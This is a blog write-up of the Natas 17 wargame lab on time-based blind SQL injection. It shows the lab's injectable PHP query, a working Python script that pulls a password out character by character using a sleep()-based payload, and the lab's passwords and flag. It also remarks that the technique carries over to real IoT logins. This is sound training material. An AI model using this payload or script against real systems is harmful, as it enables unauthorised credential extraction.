Natas Wargame Level 17 Writeup(Time-based Blind SQL Injection)

sourcecode核心代码:

 1 <?
 2 
 3 /*
 4 CREATE TABLE `users` (
 5   `username` varchar(64) DEFAULT NULL,
 6   `password` varchar(64) DEFAULT NULL
 7 );
 8 */
 9 
10 if(array_key_exists("username", $_REQUEST)) {
11     $link = mysql_connect('localhost', 'natas17', '<censored>');
12     mysql_select_db('natas17', $link);
13     
14     $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
15     if(array_key_exists("debug", $_GET)) {
16         echo "Executing query: $query<br>";
17     }
18 
19     $res = mysql_query($query, $link);
20     if($res) {
21     if(mysql_num_rows($res) > 0) {
22         //echo "This user exists.<br>";
23     } else {
24         //echo "This user doesn't exist.<br>";
25     }
26     } else {
27         //echo "Error in query.<br>";
28     }
29 
30     mysql_close($link);
31 } else {
32 ?>
33 
34 <form action="index.php" method="POST">
35 Username: <input name="username"><br>
36 <input type="submit" value="Check existence" />
37 </form>
38 <? } ?> 

 

这个题与前面的一个很相似,都是检查了username是否存在。但这个题将返回的信息全部注释掉了,所以我们无法通过“返回信息”来进行盲注。这里为什么要打引号呢?请参看OWASP的文章:https://www.owasp.org/index.php/Blind_SQL_Injection(真心觉得OWASP的攻击分类很全很准,以后一定要找一个时间翻译一下)。它对盲注进行了分类,一种是Content-based,另一种是Time-based。对于没有明显返回查询信息的页面(当然页面还是要返回的,只是页面为空),我们要进行盲注获得密码,就可以采取time based的方法。比如,我们使用mysql里的sleep()函数和if语句(https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep、https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html#function_if),只要查询到了结果就进入sleep(),延迟返回,反之立即返回,从而间接得到信息是否被正确查询到了,从而慢慢将密码破解出来。其实也可以这么想,我记得我上算法课的时候,老师说算法是一定有资源输入的,即使是一个空的语句比如pass,也需要输入时间。由此看来,只要是使用到了相关资源,我们就可以对资源进行监控从而猜测信息(这又有点像一些旁路攻击了)。

将上一篇博文的脚本进行更改,加入time库。

 

 1 import httplib2
 2 from urllib.parse import urlencode
 3 from time import time
 4 
 5 h = httplib2.Http()
 6 natas17password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
 7 h.add_credentials('natas17', natas17password)
 8 basestr = list(chr(i) for i in range(48, 58)) + list(chr(i) for i in range(65, 91)) + list(
 9     chr(i) for i in range(97, 123))
10 password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd'
11 index = 0
12 headers = {'Content-type': 'application/x-www-form-urlencoded'}
13 while (len(password) < len(natas17password)):
14     forms = dict(
15         username="natas18\" and if (password like binary '" + (password + basestr[index]) + "%', sleep(5), 0) ;#")
16     print(forms)
17     time_test = time()
18     resp, content = h.request('http://natas17.natas.labs.overthewire.org/index.php', 'POST', urlencode(forms), headers)
19     time_test = time() - time_test
20     print(time_test)
21     if (time_test > 5):
22         password += basestr[index]
23         print(password)
24         index = 0
25         continue
26     else:
27         index = (index + 1) % (123 - 48)
28         if index == 0:
29             print('wrong!')
30         continue
31 print('password = ', password)

 注意下面的时间,考虑到网络延时,我将sleep设置为了5,冗余比较大,从输出来看,一般立即返回的时间的0.5秒左右。

这里对上一篇博文的一个观点进行一下补充。在现实中,我们常常注意到有的管理员返回的信息不够最小化,比如返回“用户名错误”,使得我们可以进行基于content的注入(前提是查询语句可以注入)。其实即使设置了“用户名或密码错误”也可以进行注入攻击——因为很多时候我们是确定用户名是对的(比如物联网上设备的admin和默认设备用户名,他们最多就是将密码设为不同,但默认用户名大多一样),也可以进行content盲注。即便登录或者不登录都没有返回信息,我们也可以通过伪造对资源(时间)消耗的不同从而进行time盲注。

 

flag:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

posted @ 2017-05-15 17:31  QiuhaoLi  阅读(348)  评论(0编辑  收藏  举报